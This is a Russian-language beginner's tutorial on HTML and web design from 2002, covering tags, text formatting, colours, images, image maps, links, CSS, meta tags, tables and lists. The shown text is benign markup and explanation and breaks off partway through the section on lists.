-= LENIN INC =-

Copyright ©2002 by Vladimir Drigalkin, LENIN INC, Kiev

Web-Designed...
- Book HTML -
  • С чего начинать? (С этой статьи начинается учебник по Web-дизайну).
  • Текст.
  • Цвет и фон.
  • Изображения.
  • Изображения-карты.
  • Ссылки.
  • Стили (CSS).
  • Мета-теги. (HTML cоздатель мета тегов)
  • Таблицы. (HTML cоздатель таблиц)
  • Списки.
  • Формы.
  • E-mail формa. (Почтовая форма на странице и проверка ее полей).
  • Горизонтальные линии.

    - Hlp -

  • Список елементов HTML. (Основные теги, используемые в Web-дизайне. Описание).
  • Раскладка цветовой гаммы по RGB-составляющим. (Название цветов на английском языке и в шестнадцатиричном виде).
  • Спецсимволы в HTML. (Специальные символы, математические, знаки припинания и прочие).
  • Курсоры.
  • Фильтры, применяемые к тексту.
  • Фильтры, применяемые к изображению.
  • Дополнительные возможности тега <BODY>

    - Other -

  • Новые окна. (HTML cоздатель ссылок для открытия новых окон с определенными параметрами).
  • Полезные советы Web-мастеру. (Информация, которую нужно учитывать при создании сайта).

    - Java Scripts -

  • JavaScript.
  • События.
  • Окна с сообщениями.
  • Кнопки.
  • Простые вредоносные JavaScripts.

    • My Links...
    E-mail me (5 Mb): lenin@zeos.net
    Welcome to my home page: http://lenininc.narod.ru/
    Использование материалов данного файла справки в коммерческих целях запрещено!

    Copyright ©2002 by Vladimir Drigalkin, LENIN INC, Kiev
    -= END =-


    С чего начинать?

    Для начала Вам нужно выбрать редактор. Cyщecтвyeт двa типa peдaктopoв: WYSIWYG (What-You- See-Is What-You-Get Что-ты-видишь-то-и-получаешь) и peдaктopы, paбoтaющиe нaпpямyю c HTML-кoдoм.
    Ecли Вы нe имeeтe ни мaлeйшeгo пpeдcтaвлeния o HTML, тo для начала вaм пoдoйдyт peдaктopы пepвoй гpyппы, нaпpимep:

      Front Page, Word
    В это случае я вам помочь ни чем не могу, читайте HLP-файлы этих программ.
    Ecли хотите научиться paбoтaть c HTML-кoдoм нaпpямyю, а речь в данном учебнике пойдет как раз об этом, воспользуйтесь -
      HTMLPad2000, Notepad, Bred2
    Лично я выбрал Bred2.1.8, которым заменил стандартный Notepad Windows. Bred2 в отличии от стандартного Notepad`а обладает множеством разных настроек - ToolBar, StatusBar, MultiUndo, есть подсветка HTML тегов, автозамена, автоматическая регистрация расширений (*.txt, *.ini, ...), а лимит текста - не менее 1Mb. И это далеко не все его возможности. Вашему вниманию предлогаеться русская версия.

    С чего же начинать? Во-первых попробуйте сделать следующее...
    Откройте Блокнот и скопируйте в него:

    Примечание: Все, что выделено красным Вы исправляете, а мои комментарии, выделеные черным, - удаляете. Последнее делаеться по желанию, т.к. Обозреватель игнорирует комментарии.

    <!--Пример HTML документа.-->
    <html>
    <head>
    <!--Следующая строчка - кодировка.-->
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
    <title>Ваш заголовок</title>
    </head>
    <body>
    <!--Теперь указываем название шрифта (лучше два, можна и больше, через запятую), его размер и цвет.-->
    <font face="Verdana,Sans-serif" size="2" color="#000000">
    <b>Название Вашего раздела</b><p>
    Здесь Ваш текст.
    <p>
    <!--Далее встраиваем графический файл в документ. И будет он у нас по центру.-->
    <center>
    <img border=0 src="Имя графического файла с расширением" Width="Его размер по горизонтали" Height="Его размер по вертикали" alt="Здесь Вы указываете выпадающую подсказку">
    </center>
    </font>
    </body>
    </html>

    Сохраните документ как htm файл (например, 001.htm) и запустите. Вы создали первую свою страницу. Поздравляю!

    Теперь расскажу немного о тегах - знаках, распологающихся в скобках. Большинство тегов имеют открывающийся элемент <> и закрывающийся </>. Между ними и находяться коды, которые распознает Обозреватель. HTML-документ всегда начинаться отрывающимся тегом <HTML> и заканчиваться закрывающим </HTML>. Дальше идет заголовок <HEAD></HEAD>. Между этими тегами всегда должна находиться информация о кодировки страницы, в нашем случае <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">, и теги опредиляющие название страницы <TITLE></TITLE>. Только теперь между тегами содержимого документа <BODY></BODY> можно распологать свою информацию, рисунки, видеофайлы, аудиофайлы...

    Размеры графического файла (в пикселях) по горизонтали и по вертикали, а также выпадающую подсказку можно не указывать, но тогда страничка грузиться дольше, не забывайте об этом. И еще - большие картинки Обозреватель может игнорировать, если Вы не укажите их размеры.

    Подробную информацию о тегах смотрите в разделе Список елементов HTML.


Текст

    Текст.

    Большинство HTML документов имеют заголовок. Для его создания используют теги <Hn></Hn>, где n – число от 1 до 6. Заключив текст между этими тегами, вы получите заголовок определенного размера.

    <H1>Заголовок</H1>

    <H2>Заголовок</H2>

    <H3>Заголовок</H3>

    <H4>Заголовок</H4>

    <H5>Заголовок</H5>
    <H6>Заголовок</H6>
    Для создания нового абзаца используется тег <P>, а для перехода на новую строчку без создания абзаца - тег <BR>. Эти теги закрывать не обязательно. Конечно, если Вы не используете в теге <P> элемент ALIGN, которым может задаватся выравнивание абзаца:

    <P ALIGN=LEFT> По левому краю </P>

    <P ALIGN=CENTER> По центру </P>

    <P ALIGN=RIGHT> По правому краю </P>

    <P ALIGN=JUSTIFY> Текст, находящийся между этими элементами выравнивается по ширине </P>

    Для придания тексту определенного начертания - жирный, курсив, подчеркнутый и т.д., поместите его между соответствующими тегами:

    <B> Жирный текст </B>
    <I> Курсив </I>
    <U> Подчеркнутый </U>
    <STRIKE> Перечеркнутый </STRIKE>
    <SUP> Верхний индекс </SUP>
    <SUB> Нижний индекс </SUB>

    Некоторые теги могут или должны применяться с определенными параметрами, которые указываются в открывающемся элементе тега (можно сразу указывать несколько параметров в одном теге). Например, открывающийся тег <FONT> (закрывающийся тег </FONT> обязателен) может иметь несколько атрибутов:

    SIZE - задает размер текста (по умолчанию размер текста равен 3). Поместив текст между тегами <FONT SIZE=n></FONT>, где n - цифровое значение, Вы придадите ему нужный вам размер:

    <font size="1"> Пример 1 </font>
    <font size="2"> Пример 2 </font>
    <font size="3"> Пример 3 </font>
    <font size="4"> Пример 4 </font>
    <font size="5"> Пример 5 </font>
    <font size="6"> Пример 6 </font>

    FACE - задает стандартное имя шрифта. Используйте шрифты, которые установлены на компьютере пользователя, в противном случае Обозреватель будет использовать шрифт, определенный по умолчанию (обычно Times New Roman). К стандартным шрифтам можно отнести шрифты, поставляемые с Windows 98, Ms Plus, Ms Office. В самой нижней строке данной таблицы представлено использование семества шрифта - имя каждого шрифта пишется через запятую. Если у пользователя на компьютере нет шрифта Comic Sans MS, Обозреватель подставит следующий в этом списке - Tahoma.

    <font face="Times New Roman"> Times New Roman </font>
    <font face="System"> System </font>
    <font face="Arial"> Arial </font>
    <font face="Courier"> Courier </font>
    <font face="Verdana"> Verdana </font>
    <font face="Comic Sans MS, Tahoma"> Comic Sans MS </font>

    COLOR - задает цвет текста (по умолчанию черный - #000000). Цвет текста может определятся как самим названием, например, red, blue и т.д, так и представлен в шестнадцатиричном виде - #FF0000 (красный) #0000FF (синий).

    <font COLOR="red"> Красный </font>
    <font COLOR="#FF0000"> Красный </font>

    С помощью элемента STYLE тега <SPAN> (закрывающийся тег </SPAN> обязателен) можно задавать выделение текста любым цветом:

    <SPAN STYLE="BACKGROUND-COLOR: lightgreen"> Светлозеленый </SPAN>

    <SPAN STYLE="BACKGROUND-COLOR: yellow"> Желтый </SPAN>

    <SPAN STYLE="BACKGROUND-COLOR: lightblue"> Светлосиний </SPAN>


Цвет и фон

    Цвет и фон.

    Цвет и фон страницы выбираються по желанию дизайнера, но нужно учитывать и тот факт, что от них зависит визуальное восприятие всего сайта. Не стремитесь все затемнить, текст удобно читать, если его хорошо видно.

    Итак сначала про цвет. Для его вставки в строку с тегом <BODY> Вашего документа нужно добавить параметр BGCOLOR и указать его значение - название цвета или его шестнадцатиричный вид. Данные два примера заполняют страницу документа красным цветом.

    <BODY BGCOLOR="RED"> (использовано название цвета)
    <BODY BGCOLOR="#FF0000"> (использован шестнадцатиричный вид цвета)

    Тепер о фоновой картинке. Фоном может быть как большой графический файл (учтите - в этом случае страничка будет грузиться дольше) так и его фрагмент, что более разумно. При использовании последнего он будет автоматически размножен Вашим Обозревателем, поэтому подбирайте фрагмент хорошо стыкующимся. Вставить в страницу фоновую картинку можно так:

    <BODY BACKGROUND="images.gif">

    Параметру BACKGROUND присвоено значение images.gif - это имя графического файла с расширением (поддерживаются *.jpg, *.gif, *.png). Естественно оно может быть другим. Предпологаеться, что графический файл рассположен в одной папке с Вашим документом, иначе нужно указать к нему путь. Разберемся с путями на примере файла images.gif.

    На два уровня вниз.

    Параметр="Folder_1/Folder_2/images.gif"

    На два уровня вверх.

    Параметр="../../images.gif"

    Подобное указание путей применяется для разных элементов, например, ссылок, рисунков, файлов.

    Чуть ниже привожу Screen Shot документа, где в качестве фоновой картинки я использовал этот фрагмент -     		Фрагмент файла (Fon.jpg)

    Screen Shot того, что должно было у Вас получиться

    По своему опыту знаю, что использование фонового цвета более рационально с соображений быстрой загрузки сайта, рисунки вообще грузяться дольше, даже самые маленькие.

    Тег <BODY> может также иметь параметры отступов в документе (определяются числовым значение).

    leftmargin - отступ слева
    rightmargin - отступ справа
    topmargin - отступ сверху
    bottom margin - отступ снизу

    <BODY leftmargin="0", topmargin="0", marginwidth="0" marginheight="0">

    В данном теге могут присутствовать и другие параметры, например, какие-то функции JavaScript, задание цветов текста и ссылок. О них будет рассказано в других статьях.


Изображения

    Изображения.

    Для вставки изображений в HTML документ используется следующая конструкция (представлена полная):

    <IMG SRC="Рисунок" BORDER="0" ALIGN="Выравнивание" WIDTH="Ширина" HEIGHT="Высота" HSPACE="Отступ_1" VSPACE="Отступ_2" ALT="Подсказка" NAME="Имя" LOWSRC="Рисунок_2">

    В таблице находится описание каждого параметра данной конструкции:

    SRC | Имя графического файла с расширением (поддерживаются *.jpg, *.gif, *.png). Если файл находится в другом каталоге, укажите к нему путь. Вы можете перейти на закладку, в которой идет речь о путях.
ALIGN | Выравнивание изображения в документе: left - по левому краю. right - по правому краю. top или texttop - выравнивают верхнюю кромку изображения с верхней линией текущей текстовой строки. middle - выравнивает базовую линию текущей текстовой строки с центром изображения. absmiddle - выравнивает центр текущей текстовой строки с центром изображения. bottom или baseline - выравнивают нижнюю кромку изображения с базовой линией текущей текстовой строки. absbottom - выравнивает нижнюю кромку изображения с нижней кромкой текущей текстовой строки.
BORDER | Рамка вокруг рисунка. Значение по умолчанию - 0 (без рамки).
WIDTH | Ширина изображения в пикселях.
HEIGHT | Высота изображения в пикселях.
HSPACE | Горизонтальный отступ графического изображения в пикселях. Не обязательный параметр.
VSPACE | Вертикальный отступ в пикселях. Не обязательный параметр.
ALT | Это сообщение, которое выводится вместо картинки, если она не показывается (не найдена или пользователь настроил свой Обозреватель так, что тот не показывает картинки). Кроме того, вы увидите этот текст в виде подсказки, когда курсор мыши находится на рисунке.
NAME | Определяет имя изображения. Для обычного изображения, не связанного ни с чем, этот параметр совсем не обязательный.
LOWSRC | Имя графического файла с расширением с альтернативным изображением более низкого качества (и, соответственно, меньшего объема), чем изображение, указанное в параметре SRC. Обозреватели, поддерживающие данный параметр, сначала загрузят картинку из LOWSRC, а затем заменят ее картинкой из SRC. Не обязательный параметр.

    Пример обычной вставки изображения в электронный документ Вы можете наблюдать ниже. Вместо названия файла я вставил изображения папки. Подведите курсор к рисунку, чтобы увидеть подсказку.

    <IMG SRC=" Папка " BORDER="0" ALT="Папка" WIDTH="17" HEIGHT="16">

    Всегда задавайте размеры картинки в параметрах height и width, резервируя тем самым место в окне Обозревателя еще до загрузки изображения. Параметр alt можно не указывать, но вдруг у человека не загрузилась картинка, он хоть будет знать, что она собой представляет.


Изображения-карты

    Изображения-карты.

    Карты - это способ сделать различные части одного графического изображения гиперссылками. Они позволяют выделить отдельные области изображений и определить для каждой из них свое действие.

    Пример изображения-карты В данном примере изображения-карты Вы можете безобоязненно щелкать по ссылкам, они никуда не ведут, а выводят сообщения о том, какие ссылки были нажаты. Кнопки на этом изображении я нарисовал только для того, чтобы можно было видеть ссылки, а не искать их наугад по всему рисунку.

    Здесь приводится HTML код данного примера. В нем исключены ссылки на script, который использовался в примере для вывода сообщений.

    <IMG SRC="Map_example.jpg" BORDER="0" WIDTH="200" HEIGHT="160" ALT="Пример изображения-карты" USEMAP="#Map_example">
    <MAP NAME="Map_example">
    <AREA SHAPE="rect" COORDS="11,11,70,24" TITLE="Ссылка 1" HREF="URL">
    <AREA SHAPE="rect" COORDS="70,72,128,83" TITLE="Ссылка 2" HREF="URL">
    <AREA SHAPE="rect" COORDS="190,136,128,149" TITLE="Ссылка 3" HREF="URL">

    Как видите, чтобы создать карту нужно вставить в тег <IMG SRC=""> атрибут USEMAP="#name", где name - имя карты (значок # обязателен). В примере использовалось название Map_example. Я пропускаю остальные атрибуты в этом теге, Вы их должны знать, т.к. о них уже рассказывалось в предыдущей статье

    Далее описываем активные области карты. Начинаем с открывающегося тега <MAP NAME="name"> (здесь повторяется имя, но уже без значка #), а заканчиваем закрывающимся тегом </MAP>.

    Между этими тегами помещаем описание каждой активной области изображения: <AREA SHAPE="форма" COORDS="координаты" HREF="адрес" TITLE="альтернативный текст">. Элемент <AREA> имеет следующие аттрибуты и их значения:

    SHAPE | Описывает форму выделяемой области, возможные значения: RECT - прямоугольник CIRCLE - круг POLY - многоугольник DEFAULT - определяет всю область, т.е весь рисунок может стать ссылкой.
COORDS | Координаты, определяющие размеры и положение области на изображении. Все координаты отсчитываются в пикселях от левого верхнего угла изображения. Количество и порядок значений зависит от значения аттрибута SHAPE: RECT: - левый-X, верхний-Y, правый-X, нижний-Y (т.е. сначала координаты левого верхнего угла, затем правого нижнего) CIRCLE: - центр-X, центр-Y, радиус (т.е. горизонтальная и вертикальная координаты центра круга и радиус) POLY: - X1, Y1, X2, Y2, ..., Xn, Yn (просто перечисляются координаты всех вершин многоугольника).
NOHREF | Определяет, что данной области не соответствует никакая ссылка. Где это может пригодиться? Ну, например, если вы хотите сделать ссылку не в виде круга, а в виде кольца
ALT | Альтернативный текст для выделенной области, используется невизуальными браузерами.
TITLE | Название выделенной области, выводится в виде подсказки, всплывающей при наведении курсора на область рисунка.
TARGET | Значение этого аттрибута ("_top", "_blank", "_self" или "_parent") определяет, в каком окне будет открыт документ

    Для того, чтобы рассчитать точно координаты нужной части изображения существуют специальные программы. Одна из них называется MapEdit.

    Хороший пример навигации с помощью изображений-карт Вы можете посмотреть здесь.


 Ссылки
    Ссылки.

  • Введение. Создание обычной гипперссылки.
  • Графический файл в роли ссылки.
  • Ссылка на e-mail.
  • Закладки.
  • Ссылки и цвет.

    Введение. Создание обычной гипперссылки. Вверх

    Ссылки HTML позволяют связать текст или картинку с другими гипертекстовыми документами. Текст, как правило, выделяется цветом или оформляется подчеркиванием. Вот обычная конструкция ссылки:

    <A HREF="URL" TARGET="Окно" TITLE="Подсказка">Название ссылки</A>

    Параметры элемента <A> представлены в таблице:

    HREF | URL (унифицированный локатор ресурсов) - адрес любого файла в Интернете. Может быть абсолютными, то есть указывается полный адрес странички (например, http://lenininc.narod.ru/index.html) и относительным, как видно из названия указывается файл относительно текущего (например, index.html).
    TARGET Oпределяет, в каком окне (фрейме) загрузить гиперссылку. Может иметь значения:
    _top - загружает гиперссылку на всем пространстве окна браузера (если до этого существовало разбиение на фреймы, то оно исчезнет).
    _blank - загружает гиперссылку в новом окне браузера.
    _self – загружает содержимое страницы, в окно, которое содержит эту ссылку (и так используется по умолчанию, так что если вам надо именно так загрузить ссылку, то параметр target вообще можно не использовать).
    _parent - загружает содержимое страницы, заданной ссылкой, в окно, являющееся непосредственным владельцем набора фреймов.
    TITLE | Текст подсказки, который будет появляться при наведении мышки на гиперссылку. Параметр не обязательный.

    Для примера я создал ссылку на документ 002.htm под рисунком (смотрите ниже). Предпологаеться, что оба документа находяться в одной папке.

    <p align=center>
    <img border=0 src="015.jpg" Width="520" Height="390" alt="Мой рисунок"><br>
    <a href="002.htm" target="self" title="Пример ссылки">LINK</a>
    </p>

    Щелкнув на ссылку откроеться другой документ, в данном случае 002.htm.

    Графический файл в роли ссылки. Вверх

    Гиперссылкой можно сделать и любой графический файл, поддерживающийся Обозревателем (традиционно - *.gif, *.jpg.). Для этого вместо названия ссылки нужно прописать графический элемент (Параметр TITLE должен быть только у рисунка):

    <a href="URL" target="Окно">
<img border="0"
src="Рисунок" width="Ширина"
height="Высота" TITLE="Подсказка>
</a>

    Ссылка на e-mail. Вверх

    Вы можете также создать ссылку на e-mail, в это случае нужно в качестве URL’a прописать следующее:
    mailto:адрес электронной почты
    Например:
    <a href="mailto:lenin@zeos.net">Мое мыло</a>

    Почтовая гиперссылка имеет несколько параметров (не обязательных):
    ?subject - Тема пиcьма
    &Body - Текст вашего сообщения
    &cc - Копии письма через запятую
    &bcc - Скрытые копии письма через запятую

    title="Выпадающая подсказка" Ставиться по желанию и распологаеться отдельно от параметров почтовой ссылки (смотрите расположение кавычек на примере ниже).

    <a href="mailto:lenin@zeos.net ?subject=Поздравление &Body=text &cc=copy@mail.ua.net &bcc=hidden_copy@mail.ua.net" title="Пример почтовой гиперссылки">Мое мыло</a>

    Щелкнув на такую ссылку, откроется окно почтовой программы пользователя с уже заполнеными полями. Останется только написать письмо и отправить.

    Закладки. Вверх

    Иногда возникает вопрос: как сделать ссылку на определенное место в том же или в другом документе? Чтобы нажав по какой-нибудь ссылке можно было попасть в определенное место данного документа. Вот в этом нам и помогут закладки.

    Ссылка на закладку в том же документе имеет следующий вид:
    <a href="#Имя закладки">Название раздела</a>

    А так выглядит ссылка на закладку в другом документе:
    <a href="Имя документа#Имя закладки">Название раздела</a>

    Сама закладка будет такой:
    <A NAME="Имя закладки"></a>

    Щелкнув на Название раздела пользователь будет попадать на определенную Вами закладку. Вверху данной страницы находится содержание, оформленное как ссылки на определенные закладки, находящиеся в этом же документе.

    Ссылки и цвет. Вверх

    Для того, чтобы при наведении на ссылку курсором и при клике она меняла свой цвет в тег <BODY> нужно добавить еще несколько параметров.

    text - цвет текста.
    link - цвет ссылки.
    vlink - цвет пройденой ссылки.
    alink - цвет активной ссылки, когда подводиться к ней курсор.

    <BODY text="black" link="blue" vlink="purple" alink="red">

    Данные атрибуты определяют свойства для всего документа. Поместив такой код в HTML страницу, уже не надо будет назначать каждый раз цвет шрифту, т.к везде он будет таким, каким определен в теге <BODY>.


Стили (CSS)

    Стили (CSS).

    CSS Cascading Style Sheets (Таблицы каскадных стилей) – это набор правил оформления и форматирования, который может быть применен к различным элементам страницы. В стандартном HTML для присвоения какому-либо элементу определенных свойств (таких, как цвет, размер, положение на странице и т. п.) приходиться каждый раз описывать эти свойства. Применяя CSS, Вы можете один раз описать свойства элементов и определить это описание как стиль, а в дальнейшем просто указывать, что элемент, который вы хотите оформить соответствующим образом, должен принять свойства стиля, описанного вами.

    Вы можете сохранить описание стиля не в тексте вашей странички, а в отдельном файле – это позволит использовать описание стиля на любом количестве Web-страниц.

    Описания стилей находятся в тегах <STYLE></STYLE> и размешаются между тегами <HEAD></HEAD>. Приведем пример использования стилей, где слово "Пример" отображается шрифтом Comic Sans MS, если такого нет на машине пользователя, используется шрифт Tahoma, жирным шрифтом, размером 25 процентов и темно-зеленым цветом :

    Описываем стили под именем Example :
    <STYLE><!--
    .Example{font-family: Comic Sans MS, Tahoma; font-weight: bolder; font-size: 25pt; color: darkgreen;}
    --></STYLE>

    Здесь вызываем описания стилей :
    <div class="Example"> Пример </div>

    Если Вы распологаете стили в отдельном файле, тогда между тегами <HEAD></HEAD> каждого HTML документа нужно добавить ссылку на CSS файл:

    <LINK REL=STYLESHEET TYPE="text/css" HREF="Example.css">

    Example.css - это Ваш CSS файл, содержащий описание применяемых стилей. Если он находиться в другом каталоге, нужно указать к нему путь. Создается CSS файл в любом текстовом редакторе, например, в Блокноте, нужно будет только изменить расширение текстового файла на CSS. В CSS файле не должны указыватся теги <STYLE></STYLE>. Например:

    У нас есть файл Example.css, содержажий такие параметры (подчеркиваем ссылки только при наведении на них курсором):
    <!--
    A { text-decoration: none; }
    A:hover { color: #FF0000; text-decoration: underline; }
    -->
    Ссылка на него в HTML документе будет выглядить так:
    <LINK REL=STYLESHEET TYPE="text/css" HREF="Example.css">

    Вы можете определить стиль для любого тега отдельно. Для этого нужно в тег добавить элемент STYLE и описать его стиль в кавычках. Следующий пример отображает слово "Пример" шрифтом Verdana, размером 150 процентов и красным цветом.

    <H3 STYLE="font-family:Verdana; font-size:150%; color:red"> Пример </H3>

    В таблице приведены некоторые свойства элементов, управляемых с помощью CSS.

    Свойства шрифта:
    font-family Используется для указания шрифта или шрифтового семейства, которым будет отображаться элемент.
    Пример:
    P {font-family: Verdana, sans-serif;}
    font-weight Определяет степень жирности шрифта с помощью трех параметров: lighter (обычный), bold (жирный), bolder (очень жирный)
    Пример:
    B {font-weight: bolder;}
    font-size Устанавливает размер шрифта. Параметр может указываться в процентах, пикселях или сантиметрах.
    Примеры использования для тегов H1, H2, H3:
    H1 {font-size: 200%;}
    H2 {font-size: 150px;}
    H3 {font-size: 400pt;}

    Свойства текста:

    text-decoration Устанавливает эффекты оформления шрифта, такие, как подчеркивание или зачеркивание текста
    Пример использования для тега Н4:
    H4 {text-decoration: underline;} (подчеркивание)
    H4 {text-decoration: line-through;} (зачеркивание)
    text-align Определяет выравнивание элемента.
    Пример:
    P {text-align: left} (выравнивание по левому краю)
    P {text-align: right} (выравнивание по правому краю)
    P {text-align: justify} (выравнивание по ширине)
    P {text-align: center} (выравнивание по центру)
    text-indent Устанавливает отступ первой строки текста. Чаще всего используется для создания параграфов с табулированной первой строкой.
    Пример использования для тега H1:
    H1 {text-indent: 60pt;}
    line-height Управляет интервалами между строками текста.
    Пример:
    P {line-height: 50 %}

    Цвет элемента и фона:

    color Определяет цвет элемента I {color: yellow;}
    Пример использования для тега H3:
    H3 {color: #0000FF;}
    background-color Устанавливает цвет фона для элемента.
    Пример использования для тега H3:

    <H3 style=”background-color:gold; color:brown;”> Пример </H3>

    Пример

    Свойства границ:
    margin-left (слево)
    margin-right (справо)
    margin-top (сверху)
    margin-bottom (снизу)         		Устанавливают значения отступов вокруг элемента.
    Пример использования для рисунка:
    IMG { margin-left: 20pt}
    IMG { margin-right: 20pt}
    IMG { margin-top: 20pt}
    IMG { margin-bottom: 20pt}
    Единицы измерения:
    px | Пиксели
    cm | Сантиметры
    mm | Миллиметры
    pt или % | проценты


Мета-теги

    Мета-теги.

    Мета-теги - информация для Обозревателя и поисковых машин. В HTML документе всегда размещаются между тегами <HEAD></HEAD>. Большинство мета-тегов являются не обязательными, поэтому решайте сами какие использовать. Приведены самые полезные.

    Кодировка. (обязательный мета тег) Указав его, Обозреватель будет правильно отображать текст страницы.
<meta http-equiv="content-type" content="text/html;
charset=Кодировка">
Пример: <meta http-equiv="content-type" content="text/html;
charset=Windows-1251">

    Показ дополнительного файла перед основным. Вы можете использовать этот мета-тег для переадресации, не прибегая к навороченным скриптам.
    <Meta name="Refresh" Content="число (в секундах); Url=имя файла с расширением">
    Пример: <Meta name="Refresh" Content="10; Url=INDEX.HTM">
    Данный пример загружает документ INDEX.HTM через 10 секунд.

    Указание имени автора. Впишите свое имя или Nickname.
    <Meta name="Author" Content="имя автора">
    Пример: <Meta name="Author" Content="Владимир Дригалкин">

    Описание документа. Текст, который Вы укажите в этом теге, будет отображаться поисковиками. Длинна описания не должна превышать 200 символов.
    <Meta name="Description" Content="описание">
    Пример: <Meta name="Description" Content="Все про взлом программного обеспечения. Инструменты, вирусы, исходники.">

    Ключевые слова для поисковиков. Укажите поисковикам, по каким словам им осуществлять поиск информации, содержащейся на Вашей странице. Не пишите в этом тэге одних и тех же слов. Длинна списка до 800 символов.
    <Meta name="Keywords" Content="слова через запятую или пробел">
    Пример: <Meta name="Keywords" Content="crack cracking взлом">

    Указание E-Mail.
    <Meta name="Reply-to" Content="адрес E-Mail">
    Пример: <Meta name="Reply-to" Content="Lenin@INC.net">

    Дата создания сайта.
    <Meta Name="Date" Content="месяц, число, год и время через пробел">
    Пример: <Meta Name="Data" Content="May 28 1999 15:34 Am">

    Можете воспользоватся моим создателем МЕТА-тегов:

    LENIN INC Meta tegs creater v1.3

    Название страницы:
    Кодировка:
    Имя автора:
    E-Mail:
    Описание документа:
    Ключевые слова:
    (через запятую)
    © 2001 by Vladimir Drigalkin (LENIN INC)


Таблицы

    Таблицы.

    Используя таблицы, можно создавать такие эффекты, как верстка в несколько колонок, применение эффектов состыковки картинки и фона, тонкие линии на всю ширину или высоту странички и т.д.

    Чтобы разобраться в устройстве таблицы, расмотрим простой пример:

    Ячейка 1 | Ячейка 2
Ячейка 3 | Ячейка 4

    Примечание: В данном примере создана таблица с фиксированой шириной (WIDTH="200" пикселей), но лучше использовать проценты, т.к. в этом случае размер таблицы будет изменятся в зависимости от размера окна.

            Такая таблица реализуется следующим кодом:

    <TABLE BORDER="2" WIDTH="200"
    BGCOLOR="#00FF00">
    <TR>
    <TD>Ячейка 1</TD>
    <TD>Ячейка 2</TD>
    </TR>
    <TR>
    <TD>Ячейка 3</TD>
    <TD>Ячейка 4</TD>
    </TR>
    </TABLE>

    Таблица начинается открывающимся тегом <TABLE> и завершается закрывающимся </TABLE>.
    Тег <TABLE> может включать следующие аттрибуты:

    WIDTH="n" | Определяет ширину таблицы в пикселях или процентах, по умолчанию ширина таблицы определяется содержимым ячеек.
BORDER="n" | Устанавливает толщину рамки. По умолчанию n=0 - таблица рисуется без рамки.
BORDERCOLOR="#FFFFFF" | Устанавливает цвет окантовки, где #FFFFFF (белый) - шестнадцатиричное значение цвета.
BGCOLOR="#FFFFFF" | Устанавливает цвет фона для всей таблицы, где #FFFFFF - шестнадцатиричное число.
BACKGROUND="image.gif" | Заполняет фон таблицы изображением.
CELLSPACING="n" | Определяет расстояние между рамками ячеек таблицы в пикселях.
CELLPADDING="n" | Определяет расстояние в пикселях между рамкой ячейки и текстом.
ALIGN=LEFT | Определяет расположение таблицы в документе. По умолчанию таблица прижата к левому краю страницы. Допустимые значения аттрибута: LEFT (слева), CENTER (по центру страницы) и RIGHT (справа).
FRAME="значение" | Управляет внешней окантовкой таблицы, может принимать следующие значения: VOID - окантовки нет (значение по умолчанию). ABOVE - только граница сверху. BELOW - только граница снизу. HSIDES - границы сверху и снизу. VSIDES - только границы слева и справа. LHS - только левая граница. RHS - только правая граница. BOX - рисуются все четыре стороны. BORDER - также все четыре стороны.
RULES="n" | Управляет линиями, разделяющими ячейки таблицы. Возможные значения (n): NONE - нет линий (значение по умолчанию). GROUPS - линии будут только между группами рядов. ROWS - только между рядами. COLS - только между колонками. ALL - между всеми рядами и колонками.

    Таблица может включать заголовок, который распологается между тегами <CAPTION></CAPTION>. Он должен быть непосредственно после тега <TITLE>. К заголовку возможно применение аттрибута ALIGN, определяющего его положение относительно таблицы:

    TOP - значение по умолчанию, заголовок над таблицей по центру.
    LEFT - заголовок над таблицей слева.
    RIGHT - заголовок над таблицей справа.
    BOTTOM - заголовок под таблицей по центру.

    Теперь о строках и ячейках таблицы. Строки таблицы начинаются открывающимся тэгом <TR> и завершаются закрывающимся </TR>, а каждая ячейка таблицы начинается тегом <TD> и завершается </TD>. Данные теги могут иметь такие аттрибуты:

    Следующие атрибуты могут применятся для строк и ячейек.
ALIGN=LEFT | Устанавливает горизонтальное выравнивание текста в ячейках строки. Может принимать значение LEFT (выравнивание влево), CENTER (выравнивание по центру) и RIGHT (вправо).
VALIGN=CENTER | Устанавливает вертикальное выравнивание текста в ячейках строки. Допустимые значения: TOP (выравнивание по верхнему краю), CENTER (выравнивание по центру - это значение принимается по умолчанию), BOTTOM (по нижнему краю).
BGCOLOR="#FFFFFF" | Устанавливает цвет фона строки или ячейки.
BACKGROUND="image.gif" | Заполняет фон строки или ячейки изображением.
Следующие атрибуты могут применятся только для ячейек.
WIDTH="n" | Определяет ширину ячейки в n пикселях.
HEIGHT="n" | Определяет высоту ячейки в n пикселях.
COLSPAN="n" | Растягивание ячейки по горизонтали. Например, <TD COLSPAN="2"> означает, что ячейка будет растянута на 2 колонки.
ROWSPAN="n" | Растягивание ячейки по строке. Например, <TD ROWSPAN="2" означает, что ячейка будет растянута на две строки таблицы.
NOWRAP | Присутствие этого аттрибута показывает, что текст должен размещаться в одну строку
BACKGROUND="image.gif" | Заполняет фон ячейки изображением.

    Кроме этого, любая ячейка таблицы может быть определена не тегами <TD></TD>, а тегами <TH></TH> - Table Header (заголовок таблицы). В принципе, это обычная ячейка, но текст внутри этих тегов будет выделен полужирным шрифтом и отцентрирован.

    Если ячейка пустая, то вокруг нее рамка не рисуется. Если рамка все же нужна вокруг пустой ячейки, то в нее надо ввести символьный объект &nbsp; (non-breaking space - неразрывающий пробел). Ячейка по-прежнему будет пуста, а рамка вокруг нее будет (&nbsp; - обязательно должен набираться строчными буквами и закрыватся точкой с запятой).

    И еще - имейте ввиду, что теги, устанавливающие шрифт (<B>, <I>, <FONT SIZE="n", FONT COLOR="#FFFFFF"), необходимо повторять для каждой ячейки.

    В создании таблиц Вам может помочь данная программа:


Списки

    Списки.

    Пронумерованные списки:
    В данном случае Обозреватель автоматически будет проставлять числа перед каждым элементом списка. Начинается пронумерованный список с тэга <OL> и завершается тэгом </OL>. Например:

    <OL>
    <LI> Один
    <LI> Два
    <LI> Три
    <LI> Четыре
    <LI> Пять
    </OL>
    1. Один
    2. Два
    3. Три
    4. Четыре
    5. Пять

    Тэг <OL> может иметь следующие параметры:

    TYPE - вид счетчика:
    A - большие латинские буквы
    a - маленькие латинские буквы
    I - большие римские цифры
    i - маленькие римские цифры
    1 - обычные цифры

    START - устанавливает число, с которого будет начинатся отсчет.

    Следующий пример отображает список, пронумерованный большими латинскими буквами и начинающийся с восьмой цифры:

    <OL TYPE="I" START="8">
    <LI> Восемь
    <LI> Девять
    <LI> Десять
    <LI> Одиннадцать
    <LI> Двенадцать
